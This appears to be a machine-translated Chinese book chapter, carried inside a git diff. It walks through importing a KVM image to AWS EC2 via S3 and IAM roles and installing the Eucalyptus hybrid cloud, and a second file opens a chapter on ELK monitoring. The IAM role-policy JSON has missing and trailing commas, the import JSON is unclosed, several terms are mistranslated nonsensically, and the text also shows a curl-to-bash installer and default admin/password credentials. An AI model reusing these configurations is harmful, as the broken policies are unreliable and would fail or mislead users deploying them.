所以,把钥匙保存在安全的地方: - -![Figure 13.19 – Access key was created successfully ](img/B14834_13_19.jpg) - -图 13.19-已成功创建访问密钥 - -我们现在已经完成了 GUI。 让我们返回并安装 AWS CLI: - -1. We just need to start the installation script and let it finish its job. This is done by starting the file called `install` in the `aws` directory: - - ![Figure 13.20 – Installing AWS CLI ](img/B14834_13_20.jpg) - - 图 13.20-安装 AWS CLI - - 还记得我们说过的绝对路径吗? `aws`命令不在用户路径中;我们需要直接调用它。 使用`configure`作为参数。 然后,使用我们在上一步中保存的密钥的两个部分。 从现在开始,我们使用 AWS CLI 发出的每个命令都被解释为以我们刚刚在云上创建的用户`Administrator`身份运行。 - - 下一步是在 S3 上创建一个存储桶。 这可以通过以下两种方式之一来完成。 我们可以通过新配置的 CLI 执行此操作,也可以使用 GUI。 我们将采用“漂亮”的方式,并使用 GUI 来显示它的外观和行为。 - -2. 在控制台中选择 S3 作为服务。 右上角有一个标记为**创建存储桶**的按钮-单击它。 将出现以下屏幕。 现在创建一个存储桶,该存储桶将以其原始格式存储您的虚拟机。 在我们的示例中,我们标记了存储桶`importkvm`,但选择了一个不同的名称。 请务必注意`region`下拉菜单-这是将创建您的资源的 AWS 位置。 记住,名字必须是唯一的;如果每个买了这本书的人都试着使用这个名字,那么只有第一个人会成功。 有趣的事实:如果你们读到这篇文章的时候,我们还没有删除这个存储桶,那么就没有人能够创建另一个同名的存储桶了,只有那些读到这句话的人才会明白其中的原因。 就屏幕面积而言,该向导相当大,可能不适合个图书页面,因此让我们将其分成两个部分: - -![Figure 13.21 – Wizard for creating an S3 bucket – selecting bucket name and region ](img/B14834_13_21.jpg) - -图 13.21-创建 S3 存储桶向导-选择存储桶名称和区域 - -此向导的第二部分与设置相关: - -![Figure 13.22 – Bucket settings ](img/B14834_13_22.jpg) - -图 13.22-铲斗设置 - -不要将访问权限更改为 public-真的没有必要这样做;除了您以外,任何人都不需要访问这个特定的存储桶和其中的文件。 默认情况下,此选项是预选的,我们应该让它保持原样。 这应该是最终结果: - -![Figure 13.23 – S3 bucket created successfully ](img/B14834_13_23.jpg) - -图 13.23-S3 存储桶创建成功 - -好了,做完了,现在是一些人等待下一个命令完成的时候了。 在下一步中,我们将使用我们的 AWS CLI 将`.raw`文件复制到 S3。 - -重要音符 - -根据帐户类型的不同,从现在开始,我们可能需要为我们创建的某些服务付费,因为它们可能会透支您帐户上启用的*免费级别*。 如果您没有启用任何昂贵的功能,您应该没有问题,但请始终查看您的**成本管理**控制面板,并检查您是否仍处于盈利状态。 - -## 将图像上传到 EC2 - -下一步是将映像上传到 EC2,这样我们就可以将该映像实际作为虚拟机运行。 让我们开始上传流程-这就是我们首先安装 AWS CLI 实用程序的原因: - -1. Use the AWS CLI with the following parameters: - - ![Figure 13.24 – Using the AWS CLI to copy a virtual machine raw image to an S3 bucket ](img/B14834_13_24.jpg) - - 图 13.24-使用 AWS CLI 将虚拟机原始映像复制到 S3 存储桶 - - 这就是最终的结果。 由于我们讨论的是 8 GB 的数据,您将不得不等待一段时间,这取决于您的上传速度。 AWS CLI 的语法非常简单。 您可以使用您知道的大多数 Unix 命令,`ls`和`cp`都在执行它们的工作。 唯一需要记住的是以以下格式给出您的存储桶名称作为目的地:`s3://`。 - -2. After that, we do an `ls` – it will return the bucket names, but we can list their contents by using the bucket name. In this example, you can also see it took us something like 15 minutes to transfer the file from the moment we created the bucket: - - ![Figure 13.25 – Transferring the file ](img/B14834_13_25.jpg) - - 图 13.25-传输文件 - - 现在开始有趣的部分。 我们需要将机器导入 EC2。 要做到这一点,我们需要做一些事情,然后才能进行转换。 问题与权限有关-默认情况下,AWS 服务无法相互通信。 因此,您必须为它们中的每一个提供显式权限才能执行导入。 本质上,您必须让 EC2 与 S3 对话并从存储桶中获取文件。 - -3. For upload purposes, we will introduce another AWS concept – `.json` files. A lot of things in AWS are stored in `.json` format, including all the settings. Since the GUI is rarely used, this is the quickest way to communicate data and settings, so we must also use it. The first file we need is `trust-policy.json`, which we are using to create a role that will enable the data to be read from the S3 bucket: - - ```sh - { - "Version":"2012-10-17", - "Statement":[ - { - "Effect":"Allow", - "Principal":{ - "Service":"vmie.amazonaws.com" - }, - "Action":"sts:AssumeRole", - "Condition":{ - "StringEquals":{ - "sts:ExternalId":"vmimport" - } - } - } - ] - } - ``` - - 只需创建一个名为`trust-policy.json`的文件,然后输入前面的代码即可。 不要改变任何事情。 下一个是名为`role-policy.json`的文件。 这个有一些你必须做的改变。 仔细查看文件内部,找到提到存储桶名称(`importkvm`)的行。 删除我们的名字,代之以您的水桶名称: - - ```sh - { - "Version":"2012-10-17", - "Statement":[ - { - "Effect":"Allow", - "Action":[ - "s3:GetBucketLocation", -                  "s3:ListBucket", -                  "s3:GetObject" - ], - "Resource":[ - "arn:aws:s3:::importkvm" - "arn:aws:s3:::importkvm/*" - ], - }, - { - "Effect":"Allow", - "Action":[ - "s3:GetObject", - "s3:GetBucketLocation", -                  "s3:ListBucket", - "s3:GetBucketAcl", -                  "s3:PutObject" - ], - "Resource":[ - "arn:aws:s3:::importkvm" - "arn:aws:s3:::importkvm/*" - ], - }, - { - "Effect":"Allow", - "Action":[ - "ec2:ModifySnapshotAttribute", - "ec2:CopySnapshot", - "ec2:RegisterImage", - "ec2:Describe*" - ], - "Resource":"*" - } - ] - } - ``` - - 现在是时候把它们整合在一起,最终将我们的虚拟机上传到 AWS 了。 - -4. Execute these two commands, disregard whatever happens in the formatting – both of them are one-liners, and the filename is the last part of the command: - - ```sh - /usr/local/bin/aws iam create-role --role-name vmimport --assume-role-policy-document  file://trust-policy.json - /usr/local/bin/aws iam put-role-policy --role-name vmimport --policy-name vmimport --policy-document file://role-policy.json - ``` - - 您应该会得到类似如下的结果: - - ![Figure 13.26 – Result of createrole ](img/B14834_13_26.jpg) - - 图 13.26-肌酸激酶的结果 - - 这确认该角色已获得其所需的权限。 第二个命令不应返回任何输出。 - - 我们快完成了。 最后一步是创建另一个`.json`文件,该文件将向 EC2 描述我们实际导入的内容以及如何处理它。 - -5. The file we're creating needs to look like this: - - ```sh - [ - { - "Description": "Test deployment", - "Format": "raw", - "Userbucket": { - "S3Bucket": "importkvm", - "S3Key": "deploy1.raw" - } - ] - ``` - - 如您所见,该文件没有什么特殊之处,但在创建您自己的版本时,请注意使用您的名称作为存储桶以及存储在存储桶内的磁盘映像。 任意命名文件,并使用该名称调用导入过程: - -![Figure 13.27 – Final step – virtual machine deployment to AWS ](img/B14834_13_27.jpg) - -图 13.27-最后一步-将虚拟机部署到 AWS - -现在,您可以等待该过程完成。 在这一步中发生的是导入和转换镜像和您上传的操作系统。 AWS 不会按原样运行您的映像;系统将更改相当多的内容,以确保您的映像可以在基础架构上运行。 一些用户也会收到一些更改,但稍后会有更多信息。 - -该任务将在后台运行,并且在完成时不会通知您;检查它取决于您。 幸运的是,AWS CLI 中有一个名为`describe-import-image-tasks`的命令,其输出如下所示: - -![Figure 13.28 – Checking the status of our upload process ](img/B14834_13_28.jpg) - -图 13.28-检查上传过程的状态 - -这意味着我们成功地导入了我们的机器。 太棒了! 但机器仍未运行。 现在它已经变成了一个叫做**Amazon Machine Image**(**AMI**)的东西。 让我们来看看如何使用它: - -1. Go to your EC2 console. You should be able to find the image under **AMIs** on the left side: - - ![Figure 13.29 – Our AMI has been uploaded successfully and we can see it in the EC2 console ](img/B14834_13_29.jpg) - - 图 13.29-我们的 AMI 已成功上传,我们可以在 EC2 控制台中看到它 - - 现在单击蓝色的大**启动**按钮。 在您的实例运行之前,您需要完成几个步骤,但我们已经差不多完成了。 首先,您需要选择您的实例类型。 这意味着根据您需要的所有资源(CPU、内存和存储)的大小,选择适合您需求的配置。 - -2. If you are using a region that is not overcrowded, you should be able to spin a *free tier* instance type that is usually called `t2.micro` and is clearly marked. In your free part of the account, you have enough processing credits to enable you to run this machine completely free: - - ![Figure 13.30 – Selecting an instance type ](img/B14834_13_30.jpg) - - 图 13.30-选择实例类型 - - 现在是,为了安全起见。 Amazon 更改了您的计算机,并使用密钥对实现了管理员帐户的无密码登录。 因为我们还没有密钥,所以我们还需要创建密钥对。 - -3. EC2 将把这个密钥放入您正在创建的计算机上的相应帐户(所有帐户)中,这样您就可以在不使用密码的情况下登录。 如果您选择这样做,则会生成密钥对,但 Amazon 不会存储它-您必须这样做: - -![Figure 13.31 – Selecting an existing key or creating a new one ](img/B14834_13_31.jpg) - -图 13.31-选择现有密钥或创建新密钥 - -就是这样,您的 VM 现在应该需要几分钟才能启动。 只需等待确认窗口。 一旦它准备好,使用上下文菜单连接到它。 您将通过单击右下角的**查看实例**进入实例列表。 - -要连接,您需要使用提供给您的密钥对,并且您需要一个`ssh`客户端。 或者,您也可以使用 AWS 提供的嵌入式`ssh`。 在任何情况下,您都需要机器的外部地址,AWS 还提供该地址以及简单的说明: - -![Figure 13.32 – Connect to your instance instructions ](img/B14834_13_32.jpg) - -图 13.32-连接到您的实例说明 - -因此,回到我们的工作站,我们可以使用前面屏幕截图中提到的`ssh`命令连接到我们新启动的实例: - -![Figure 13.33 – Connecting to our instance via SSH ](img/B14834_13_33.jpg) - -图 13.33-通过 SSH 连接到我们的实例 - -就这样。 您已成功连接到您的计算机。 你甚至可以让它保持运转。 但要注意,如果你有默认开启或没有密码的账户或服务-毕竟,你已经从你的保险箱、家庭沙箱中取出了一个虚拟机,并将其放在了大而坏的互联网上。 最后一件事是:在您的 VM 运行之后,删除存储桶中的文件以节省一些资源(和金钱)。 转换后,不再需要此文件。 - -我们列表中的下一个主题是如何通过使用一个名为 Eucalyptus 的应用将本地云环境扩展到混合云环境。 这是一个非常受欢迎的过程,许多企业在将其基础设施扩展到本地基础设施之外时都会经历这一过程。 此外,这在需要时提供了可伸缩性方面的好处-例如,当公司需要扩展其测试环境以便其员工正在开发的应用可以进行负载测试时。 让我们看看如何通过桉树和 AWS 来做到这一点。 - -# 使用 Eucalyptus 构建混合 KVM 云 - -**桉树**是一种怪兽,我们这里指的不是植物。 Eucalyptus 是一个旨在弥合私有云服务和 AWS 之间差距的项目,它试图在本地环境中重新创建几乎所有的 AWS 功能。 运行它几乎就像拥有一个与 AWS 兼容的小型本地云,而后者又使用与 AWS 几乎相同的命令。 它甚至使用与 AWS 相同的名称来表示事物,因此它可以使用存储桶之类的东西。 这是故意的,并得到了亚马逊的同意。 拥有这样的环境对每个人来说都是一件好事,因为它为开发人员和公司部署和测试他们的实例创建了一个安全的空间。 - -桉树由几个部分组成: - -![](img/B14834_13_34.jpg) - -图 13.34-桉树体系结构(http://eucalyptus.cloud,官方文档) - -从图中可以看出,Eucalyptus 具有很高的可伸缩性。 - -**可用区**是一个段,它可以容纳由群集控制器控制的多个节点。 **然后将区域**合并到云本身中,该由**云控制器**控制。 与所有这些相关的是用户服务部分,它支持用户和整个 Eucalyptus 堆栈之间的交互。 - -总而言之,Eucalyptus 使用了五个组件,这些组件有时按图中的名称引用,有时按项目名称引用,这与 OpenStack 非常相似: - -* **云控制器**(**CLC**)是系统的中心点。 它同时提供 EC2 和 Web 接口,并将每个任务路由到自己。 它的作用是提供日程安排、资源分配和记账。 每个云都有一个这样的服务器。 -* **群集控制器**(**cc**)是管理每个单独节点并控制 VM 及其执行的部分。 每个可用区中都有一个正在运行。 -* **存储控制器**(**SC**)的作用是提供块级存储,并为群集内的实例和快照提供支持。 它类似于 AWS 的 EBS 存储。 -* **节点控制器**(**nc**)托管个实例及其端点。 每个节点都运行一个。 -* **eucanetd**是 Eucalyptus 用来管理云网络的服务,因为我们讨论的是在一天结束时将您的本地网络扩展到 AWS 云。 - -当您了解 Eucalyptus 时,您会注意到它具有大量的功能。 它可以执行以下操作: - -* 使用卷、实例、密钥对、快照、存储桶、图像、网络对象、标记和 IAM。 -* 使用负载平衡器。 -* 将 AWS 作为 AWS 集成工具使用。 - -这些只是你的桉树之旅开始时值得一提的一些特点。 Eucalyptus 有一个额外的命令行界面,称为**Euca2ools**,可以作为一个包用于所有主要的 Linux 发行版。 Euca2ools 是一个附加工具,可在 AWS 和 Eucalyptus 之间提供完全的 API 和 CLI 兼容性。 这意味着您可以使用单个工具来管理和执行*混合云*迁移。 该工具是用 Python 编写的,因此它或多或少是独立于平台的。 如果您想了解有关此界面的更多信息,请确保访问[https://wiki.debian.org/euca2ools](https://wiki.debian.org/euca2ools)。 - -## 您是如何安装的? - -安装 Eucalyptus 很容易,如果您正在安装一台测试机,并且*遵循说明*,正如我们将在本书的最后一章[*第 16 章*](16.html#_idTextAnchor302),*KVM 平台故障排除指南*中描述的那样,安装 Eucalyptus 是很容易的。 我们要做的就是安装一台机器来容纳所有节点和整个云的一部分。 当然,这与生产环境所需的条件相差甚远,因此在 Eucalyptus 网站上,有针对这种单机万能情况和安装生产级云的单独指南。 确保选中以下链接:[https://docs.eucalyptus.cloud/eucalyptus/4.4.5/install-guide-4.4.5.pdf](https://docs.eucalyptus.cloud/eucalyptus/4.4.5/install-guide-4.4.5.pdf)。 - -安装很简单-只需提供一个安装最少的 CentOS7 系统,该系统至少有 120 GB 的磁盘空间和 16 GB 的 RAM。 这些是最低要求。 如果你低于他们,你会遇到两种问题: - -* 如果您尝试在 RAM 小于 16 GB 的计算机上安装,安装可能会失败。 -* 但是,在磁盘大小小于建议的最小磁盘大小的计算机上安装将会成功,但是一旦开始安装展开映像,磁盘空间几乎会立即用完。 - -对于生产,一切都会改变-存储的最低要求是 160 GB,或者要运行 Walrus 和 SC 服务的节点的最低存储空间是 500 GB。 节点必须在裸机上运行;不支持嵌套虚拟化。 或者,更准确地说,它会起作用,但会否定云所能提供的任何积极影响。 - -话虽如此,在您开始安装之前,我们还有另外一点要说明--检查新版本的可用性,并且要记住,很有可能会有比我们在本书中正在开发的版本更新的版本。 - -重要音符 - -在撰写本文时,当前版本是 4.4.5,版本 5 正在积极开发中,即将发布。 - -安装了您的基本操作系统之后--它必须是一个没有 GUI 的核心系统,是时候进行实际的 Eucalyptus 安装了。 整个系统是使用**FastStart**安装的,因此我们唯一需要做的就是从 Internet 运行安装程序。 该链接位于该项目的以下网址的首页-[https://eucalyptus.cloud](https://eucalyptus.cloud)。 - -成功安装 Eucalyptus 有个前提条件: - -* 你必须连接到互联网上。 没有办法以这种方式进行本地安装,因为所有内容都是动态下载的。 -* 您还必须有一些 IP 地址可供系统在安装时使用。 最低为 10 个,它们将与云一起安装。 安装程序将要求提供范围,并将尝试在不干预的情况下执行所有操作。 -* 唯一的其他先决条件是正常工作的 DNS 和一段时间。 - -让我们使用以下命令开始安装: - -```sh -# bash <(curl -Ls https://eucalyptus.cloud/install) -``` - -如果你是第一次看到,这个装置看起来很奇怪。 这让我们想起了我们在 20 世纪 90 年代使用的一些基于文本的游戏和服务(MUD,IRC): - -![Figure 13.35 – Eucalyptus text-mode installation ](img/B14834_13_35.jpg) - -图 13.35-Eucalyptus 文本模式安装 - -屏幕上的信息将告诉您,如果您想要查看实际发生的情况,应该遵循哪个日志;否则,您可以查看安装程序,等待屏幕上的茶变凉。 老实说,在一台像样的机器上,安装可能需要大约 15 分钟,如果您安装了所有软件包,则可能需要 10 分钟以上。 - -安装后,Eucalyptus 将为您提供一组默认凭据: - -* **帐户名称**:`eucalyptus` -* **用户名**:`admin` -* **Password**: `password` - - 重要音符 - - 如果当前的安装程序损坏,后续问题的解决方案可以在 CIA 的视频中找到:。 有一些已知的漏洞,在这本书上市之前,这些漏洞可能会得到解决,也可能不会得到解决。 请确保在安装之前检查了[https://eucalyptus.cloud](https://eucalyptus.cloud)和文档。 - -该信息区分大小写。 安装完成后,您可以使用 Web 浏览器连接到计算机并登录。 您要使用的 IP 地址是刚安装的计算机的 IP 地址: - -![Figure 13.36 – Eucalyptus login screen ](img/B14834_13_36.jpg) - -图 13.36-桉树登录屏幕 - -一旦系统安装完毕,在新安装系统的控制台上,您将看到一条指令,指示您运行系统中包含的主教程。 本教程本身是了解系统外观、关键概念以及如何使用命令行的好方法。 您可能遇到的唯一问题是,本教程是一组脚本,其中包含一些硬编码的信息。 你马上就会注意到的一件事是,除非你修复它们,否则指向云版本图像模板的链接将不起作用-这些链接指向过期的地址。 这很容易解决,但会让你措手不及。 - -另一方面,当你读到这篇文章的时候,问题可能已经解决了。 在 Eucalyptus 运行的机器上,以纯文本模式提供了有关如何执行此操作的教程及其所有部分。 它在 GUI 中不可用: - -![Figure 13.37 – Starting a text-mode Eucalyptus master tutorial ](img/B14834_13_37.jpg) - -图 13.37-启动文本模式 Eucalyptus 主教程 - -教程在外观上非常简陋,但我们喜欢它,因为它为我们提供了一个简短但重要的概述,介绍了 Eucalyptus 提供的一切: - -![Figure 13.38 – Using the master tutorial to learn how to configure Eucalyptus ](img/B14834_13_38.jpg) - -图 13.38-使用主教程了解如何配置 Eucalyptus - -如您所见,的所有内容都有详细的解释,因此您可以在很短的时间内真正学习关键概念。 把教程读一遍--这是非常值得的。 启动系统后,您可以从命令行立即执行的另一件事是下载两个新的模板映像。 这个脚本也是从网络开始的,在官方网站上用大写字母写成,字面上写在位于以下网址的登录页面上(请确保向下滚动一点)-[https://www.eucalyptus.cloud/](https://www.eucalyptus.cloud/): - -![Figure 13.39 – Downloading images to our Eucalyptus cloud ](img/B14834_13_39.jpg) - -图 13.39-将图像下载到我们的 Eucalyptus 云 - -复制-将此粘贴到根提示符中,很快就会出现一个菜单,您可以通过该菜单下载您可能使用的图像。 这是我们所见过的最简单、最防弹的模板安装之一,除非它们包含在初始下载中: - -![Figure 13.40 – Simple menu asking us to select which image we want to install ](img/B14834_13_40.jpg) - -图 13.40-要求我们选择要安装的映像的简单菜单 - -一次选择一个,它们将包含在图像列表中。 - -现在让我们切换到 Web 界面,看看它是如何工作的。 使用上面写入的凭据登录。 您将看到一个设计精良的仪表盘。 在右侧,有几组最常用的功能。 左侧保留给菜单保存所有服务的链接。 一旦您将鼠标从菜单上移开,菜单就会自动隐藏,只留下最重要的图标: - -![Figure 13.41 – Eucalyptus management console ](img/B14834_13_41.jpg) - -图 13.41-Eucalyptus 管理控制台 - -我们已经讨论了本页面上的大部分内容-只需查看本章中与 AWS 相关的内容,您就会非常熟悉。 让我们试着使用这个控制台。 我们将推出一个新的实例,只是为了了解桉树是如何工作的: - -1. In the left part of the stack of services, there is an inviting green button labeled **Launch instance** – click on it. A list of the images that are available on the system will appear. We already used the script to grab some cloud images, so we have something to choose from: - - ![Figure 13.42 – Selecting an image to run in the Eucalyptus cloud ](img/B14834_13_42.jpg) - - 图 13.42-选择要在 Eucalyptus 云中运行的映像 - - 我们选择从云映像运行 Ubuntu。 选择所需图像后,从下拉菜单中选择**启动**。 将打开一个新窗口,允许您创建虚拟机。 在下拉列表或实例类型中,我们选择了一台看起来足够强大的机器来运行我们的 Ubuntu,但基本上,任何内存超过 1 GB 的实例都可以运行得很好。 由于我们只准备了一个实例,因此没有太多需要更改的地方: - - ![Figure 13.43 – Launch a new instance wizard ](img/B14834_13_43.jpg) - - 图 13.43-启动新实例向导 - - 下一个配置屏幕与安全性相关。 - -2. We have a choice of using the default key pair that was created on the Eucalyptus cloud or creating a new one. Only the public part of the key is stored in Eucalyptus, so we can use this key pair for authentication only if we downloaded the keys when we installed them. The process of creating keys is completely identical to the one used for AWS: - - ![Figure 13.44 – Security configuration – selecting keys and an IAM role ](img/B14834_13_44.jpg) - - 图 13.44-安全配置-选择密钥和 IAM 角色 - - 单击**Launch Instance**按钮后,您的计算机应该会启动。 出于测试的目的,我们之前已经启动了另一台机器,所以现在我们有两台机器在运行: - - ![Figure 13.45 – A couple of launched instances in the Eucalyptus cloud ](img/B14834_13_45.jpg) - - 图 13.45-Eucalyptus 云中的几个启动实例 - - 下一步是尝试创建存储桶。 - -3. 创建存储存储桶非常简单,看起来与 AWS 的功能非常相似,因为 Eucalyptus 会尽量与 AWS 相似: - -![Figure 13.46 – Creating a bucket ](img/B14834_13_46.jpg) - -图 13.46-创建存储桶 - -由于 Eucalyptus 不像 AWS 那样复杂,特别是在策略和安全方面,存储桶的安全选项卡较小,但有一些非常强大的工具,如您在以下屏幕截图中所示: - -![Figure 13.47 – Bucket security configuration ](img/B14834_13_47.jpg) - -图 13.47-存储桶安全配置 - -现在,我们已经安装、配置并使用了 Eucalyptus,接下来是我们这一章的下一个主题,即向 AWS 扩展我们基于 Eucalyptus 的云。 - -## 使用桉树进行 AWS 控制 - -您还记得向您显示登录凭据的初始屏幕吗?我们提到您也可以登录 AWS。 从 Eucalyptus 控制台注销并进入登录屏幕。 这次点击**登录 AWS**: - -![Figure 13.48 – Log on to AWS via Eucalyptus ](img/B14834_13_48.jpg) - -图 13.48-通过 Eucalyptus 登录 AWS - -尝试并使用我们在*将图像上传到 EC2*部分中创建的身份验证密钥,或在 AWS IAM 中为`Administrator`用户创建一个新密钥。 将其复制并粘贴到 AWS 凭据中,您将有一个完全正常工作的界面连接到您的 AWS 帐户。 您的控制面板外观几乎相同,但会显示您的 AWS 帐户的状态: - -![Figure 13.49 – Eucalyptus Management Console for AWS ](img/B14834_13_49.jpg) - -图 13.49-AWS 的 Eucalyptus 管理控制台 - -让我们检查我们是否可以看到我们的存储桶: - -![Figure 13.50 – Checking our AWS buckets ](img/B14834_13_50.jpg) - -图 13.50-检查我们的 AWS 存储桶 - -请注意,我们不仅可以看到用于测试 AWS KVM 导入的存储桶,还可以在右上角看到我们正在运行的区域。 您的帐户是由其密钥名称提供的,而不是实际的用户;这很简单,因为我们实际上是以编程方式登录*的。 我们单击的所有内容都将转换为 API 调用,然后返回的数据将被解析并显示给用户。* - - *我们当前停止的实例也在这里,但请记住,只有在选择最初将实例导入到的区域时才会看到它。 在我们的示例中,它是`US West`,所以我们的实例在那里: - -![Figure 13.51 – Checking our AWS instances ](img/B14834_13_51.jpg) - -图 13.51-检查我们的 AWS 实例 - -正如您可能已经注意到的,Eucalyptus 是一个多方面的工具,能够为我们提供混合云服务。 基本上,Eucalyptus 的关键点之一是它可以让您达到与 AWS 兼容的级别。 因此,如果您开始将其作为私人解决方案使用,并在未来某个时候开始考虑迁移到 AWS,Eucalyptus 将为您提供支持。 为此,它实际上是基于 KVM 的虚拟机的标准解决方案。 - -我们将就 AWS 集成到此为止。 毕竟,本章的重点是让您了解 Eucalyptus 是如何连接到 AWS 的。 您可能会看到,此界面缺乏 AWS 所具有的功能,但同时足以从一个位置控制基本的中型基础设施-存储桶、映像和实例。 在测试了 5.0 Beta 1 版本之后,我们可以肯定地告诉您,完整的 5.0 版本出来后应该会是一个相当大的升级。 测试版已经有了很多额外的选项,我们非常期待看到完整版本的发布。 - -# 摘要 - -在本章中,我们涵盖了很多主题。 我们引入了 AWS 作为云解决方案,并用它做了一些很酷的事情--我们转换了我们的虚拟机,这样我们就可以在它上面运行了,并确保一切都能正常工作。 然后我们转到 Eucalyptus,检查如何将其用作本地云环境的管理应用,以及如何使用它将现有环境扩展到 AWS。 - -下一章将带我们进入使用 ELK 堆栈监控 KVM 虚拟化的世界。 这是一个非常重要的话题,特别是在公司和基础设施规模不断扩大的情况下-您无法通过手动监控所有可能的服务来跟上 IT 服务的有机增长。 麋鹿堆栈将帮助您做到这一点--具体有多少,您将在下一章中了解到。 - -# 问题 - -1. 什么是 AWS? -2. 什么是 EC2、S3 和 IAM? -3. 什么是 S3 存储桶? -4. 我们如何将虚拟机迁移到 AWS? -5. 我们使用哪个工具将原始图像上传到 AWS? -6. 作为用户,我们如何向 AWS 验证自己的身份? -7. 什么是桉树? -8. 桉树的主要服务有哪些? -9. 什么是可用区? 什么是故障域? -10. 为虚拟化、云和 HPC 环境提供第 0 层存储服务的基本问题是什么? - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* Amazon AWS 文档:[https://docs.aws.amazon.com/](https://docs.aws.amazon.com/) -* AmazonEC2 文档:[https://docs.aws.amazon.com/ec2/?id=docs_gateway](https://docs.aws.amazon.com/ec2/?id=docs_gateway) -* 亚马逊 S3 文档:[https://docs.aws.amazon.com/s3/?id=docs_gateway](https://docs.aws.amazon.com/s3/?id=docs_gateway) -* Amazon IAM 文档:[https://docs.aws.amazon.com/iam/?id=docs_gateway](https://docs.aws.amazon.com/iam/?id=docs_gateway) -* 桉树安装指南:[https://docs.eucalyptus.cloud/eucalyptus/4.4.5/install-guide/index.html](https://docs.eucalyptus.cloud/eucalyptus/4.4.5/install-guide/index.html) -* 桉树管理指南:[https://docs.eucalyptus.cloud/eucalyptus/4.4.5/admin-guide/index.html](https://docs.eucalyptus.cloud/eucalyptus/4.4.5/admin-guide/index.html) -* 桉树控制台指南:[https://docs.eucalyptus.cloud/eucalyptus/4.4.5/console-guide/index.html](https://docs.eucalyptus.cloud/eucalyptus/4.4.5/console-guide/index.html) -* Euca2ools 指南:[https://docs.eucalyptus.cloud/eucalyptus/4.4.5/euca2ools-guide/index.html](https://docs.eucalyptus.cloud/eucalyptus/4.4.5/euca2ools-guide/index.html)* \ No newline at end of file diff --git a/docs/master-kvm-virtual/14.md b/docs/master-kvm-virtual/14.md deleted file mode 100644 index 70103fb4..00000000 --- a/docs/master-kvm-virtual/14.md +++ /dev/null @@ -1,682 +0,0 @@ -# 十四、监控 KVM 虚拟化平台 - -当您从一个只有几个对象要管理的环境(例如,KVM 主机)迁移到一个有数百个对象要管理的环境时,您会开始问自己非常重要的问题。 最突出的问题之一是,*我如何在不做大量手动工作和使用一些 GUI 报告选项的情况下监视我的数百个对象呢?*这个问题的答案是**Elasticsearch,Logstash,Kibana**(**ELK**)堆栈(**Elasticsearch,Logstash,Kibana**(**ELK**))。 在本章中,我们将了解这些软件解决方案可以为您和您的基于 KVM 的环境做些什么。 - -在这些隐晦的名称背后,有一些技术可以解决您在运行多台服务器时可能遇到的许多问题。 尽管您可以运行 ELK 堆栈来监视一个服务,但这样做毫无意义。 本章中提供的建议和解决方案适用于涉及多个设备和服务器的所有项目,不仅适用于在 KVM 上运行的项目,而且本质上也适用于任何能够生成任何类型日志的项目。 我们将从一般情况下如何将 KVM 作为虚拟化平台进行监控的基础知识开始。 然后,我们将讨论 ELK 堆栈,包括它的构建块和安装,然后再讨论它的高级配置和定制。 - -在本章中,我们将介绍以下主题: - -* 监控 KVM 虚拟化平台 -* 开源 ELK 解决方案简介 -* 设置和集成麋鹿堆栈 -* 配置数据收集器和聚合器 -* 创建自定义利用率报告 -* 我们开始吧! - -# 监控 KVM 虚拟化平台 - -当我们谈到运行执行任何类型处理的系统时,我们很快就会遇到监控并确保我们的系统在给定的参数集内运行的问题。 - -当我们创建一个运行工作负载的系统时,它将不可避免地产生关于正在发生的一切的某种数据。 这些数据在其范围内几乎是无限的--一台刚刚联机的服务器,如果没有一个*有用的*任务运行,它将创建某种类型的日志或服务数据,例如已使用的内存量、正在启动或停止的服务、剩余的磁盘空间量、正在连接和断开连接的设备等等。 - -当我们开始运行任何有用的任务时,日志只会变得更大。 - -拥有一个良好而详细的日志意味着我们可以发现系统在这个时刻发生了什么;它是否正确运行,我们是否需要做些什么来使它运行得更好? 如果发生了意想不到的事情,日志可以帮助我们确定实际问题所在,并为我们指明解决方案的方向。 正确配置的日志甚至可以帮助我们在错误开始产生问题之前发现错误。 - -假设您有一个一周又一周变得越来越慢的系统。 让我们进一步假设我们的问题与系统上安装的应用的内存分配有关。 但我们也假设这个内存分配不是恒定的,而是随着使用系统的用户数而变化。 如果您查看任意时间点,您可能会注意到分配的用户数和内存。 但是,如果您只是在不同的时间进行测量,您将很难理解内存和用户数量之间存在什么样的相关性--分配的内存量是与用户数量成线性关系,还是呈指数关系呢? 如果我们看到 100 个用户正在使用 100MB 的内存,这是否意味着 1000 个用户将使用 1000MB? - -但让我们假设我们以相等的间隔记录内存量和用户数。 - -我们没有做任何复杂的事情;每隔几秒钟,我们就记录下测量的时间、分配的内存量和使用系统的用户数。 我们正在创建一个称为数据集的东西,它由**个数据点**组成。 使用数据点与我们在前面的示例中所做的没有什么不同,但是一旦我们有了数据集,我们就可以进行趋势分析。 基本上,我们可以分析不同的时间段,比较用户数量和他们实际使用的内存量,而不是查看问题的一小部分。 这将为我们提供有关系统实际如何使用内存以及在什么时候出现问题(即使我们现在没有问题)的重要信息。 - -这种方法甚至可以帮助我们发现和解决不明显的问题,例如备份每月完成一次花费的时间太长,其余时间正常工作。 这种能力使我们能够发现趋势并分析数据和系统性能,这就是日志记录的全部意义所在。 - -简而言之,任何一种监控都可以归结为两件事:从我们试图监控的事物收集数据和分析这些数据。 - -监控可以是在线的,也可以是离线的。 当我们试图创建某种警报系统时,或者当我们试图建立能够对过程中的变化做出反应的自我纠正系统时,在线监控非常有用。 然后,我们可以尝试纠正问题,或者关闭或重新启动系统。 运营团队通常使用在线监控,以确保一切正常运行,并记录系统可能出现的问题。 - -离线监控要复杂得多。 离线监控使我们能够将所有数据收集到日志中,稍后分析这些日志,并推断趋势,找出可以对系统做些什么以使其变得更好。 但事实是,就实时活动而言,它总是*延迟*,因为离线方法要求我们*下载*,然后*分析*日志。 这就是为什么我们更喜欢实时日志摄取,这是需要在线完成的事情。 这就是为什么了解麋鹿堆栈是如此重要的原因。 - -通过将所有这些小块--实时日志摄取、搜索、分析和报告--整合到一个较大的堆栈中,ELK 使我们更容易实时监控我们的环境。 让我们来学习一下怎么做。 - -# 开源 ELK 解决方案简介 - -我们在前面提到过,ELK 代表 Elasticsearch、Logstash 和 Kibana,因为这三个应用或系统是完整监控和报告解决方案的构建块。 每个部分都有自己的用途和执行的功能-Logstash 将所有数据收集到一个一致的数据库中,Elasticsearch 能够快速浏览 Logstash 存储的所有数据,Kibana 在这里将搜索结果转变为既有信息又有视觉吸引力的东西。 说了这么多,麋鹿最近改名了。 尽管它仍然被称为 Elk Stack(麋鹿堆栈),几乎整个互联网都会这样称呼它,但是 Elk 堆栈现在被命名为 Elastic 